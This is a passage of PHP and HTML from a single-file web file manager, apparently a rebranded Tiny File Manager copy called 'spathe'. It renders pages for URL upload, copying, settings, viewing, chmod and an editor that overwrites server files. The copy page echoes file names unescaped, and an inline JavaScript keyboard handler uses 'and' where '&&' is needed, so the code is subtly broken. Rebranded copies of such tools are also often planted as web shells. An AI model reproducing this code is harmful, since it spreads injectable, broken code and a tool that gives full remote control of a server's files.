<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
<select class="form-select" id="js-language" name="js-language">
<?php
function getSelected($l) {
global $lang;
return ($lang == $l) ? 'selected' : '';
}
foreach ($lang_list as $k => $v) {
echo "<option value='$k' ".getSelected($k).">$v</option>";
}
?>
</select>
</div>
</div>
<div class="mt-3 mb-3 row ">
<label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
<div class="col-sm-9">
<div class="form-check form-switch">
<input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
</div>
</div>
</div>
<div class="mb-3 row">
<label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
<div class="col-sm-5">
<select class="form-select w-100" id="js-3-0" name="js-theme-3">
<option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
<option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
</select>
</div>
</div>
<div class="mb-3 row">
<div class="col-sm-10">
<button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['help'])) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<div class="row">
<div class="col-xs-12 col-sm-6">
<p><h3><a href="." target="_blank" class="app-v-title"> spathe <?php echo VERSION; ?></a></h3></p>
</div>
<div class="col-xs-12 col-sm-6">
<div class="card">
<ul class="list-group list-group-flush">
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
<li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
<?php if(!FM_READONLY) { ?>
<li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
<?php } ?>
</ul>
</div>
</div>
</div>
<div class="row js-new-pwd hidden mt-2">
<div class="col-12">
<form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
<input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
<div class="form-group mb-2">
<label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
</div>
<div class="form-group mx-sm-3 mb-2">
<label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
<input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
</div>
<button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
</form>
<textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
</div>
</div>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['view'])) {
$file = $_GET['view'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize_raw = fm_get_size($file_path);
$filesize = fm_get_filesize($filesize_raw);
$is_zip = false;
$is_gzip = false;
$is_image = false;
$is_audio = false;
$is_video = false;
$is_text = false;
$is_onlineViewer = false;
$view_title = 'File';
$filenames = false; // for zip
$content = ''; // for text
$online_viewer = strtolower(FM_DOC_VIEWER);
if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
$is_onlineViewer = true;
}
elseif ($ext == 'zip' || $ext == 'tar') {
$is_zip = true;
$view_title = 'Archive';
$filenames = fm_get_zif_info($file_path, $ext);
} elseif (in_array($ext, fm_get_image_exts())) {
$is_image = true;
$view_title = 'Image';
} elseif (in_array($ext, fm_get_audio_exts())) {
$is_audio = true;
$view_title = 'Audio';
} elseif (in_array($ext, fm_get_video_exts())) {
$is_video = true;
$view_title = 'Video';
} elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="row">
<div class="col-12">
<p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
<p class="break-word">
<?php $display_path = fm_get_display_path($file_path); ?>
<strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
<strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
<strong>MIME-type:</strong> <?php echo $mime_type ?><br>
<?php
// ZIP info
if (($is_zip || $is_gzip) and $filenames !== false) {
$total_files = 0;
$total_comp = 0;
$total_uncomp = 0;
foreach ($filenames as $fn) {
if (!$fn['folder']) {
$total_files++;
}
$total_comp += $fn['compressed_size'];
$total_uncomp += $fn['filesize'];
}
?>
<?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
<?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
<?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
<?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
<?php
}
// Image info
if ($is_image) {
$image_size = getimagesize($file_path);
echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
}
// Text info
if ($is_text) {
$is_utf8 = fm_is_utf8($content);
if (function_exists('iconv')) {
if (!$is_utf8) {
$content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
}
}
echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
}
?>
</p>
<div class="d-flex align-items-center mb-3">
<form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button>
</form>
<b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
<?php
// ZIP actions
if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
$zip_name = pathinfo($file_path, PATHINFO_FILENAME);
?>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
</form>
<form method="post" class="d-inline ms-2">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
<input type="hidden" name="tofolder" value="1">
<button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
</form>
<?php
}
if ($is_text and !FM_READONLY) {
?>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</div>
<?php
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fanco($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fanco($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
fm_show_footer();
exit;
}
// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
<select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
<select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text and $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
<?php $display_path = fm_get_display_path($file_path); ?>
<?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN and !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$uu = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
$filesize_raw = "";
$filesize = lng('Folder');
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
if ($owner === false) {
$owner = array('name' => '?');
}
if ($group === false) {
$group = array('name' => '?');
}
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
<label class="custom-control-label" for="<?php echo $uu ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN and !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
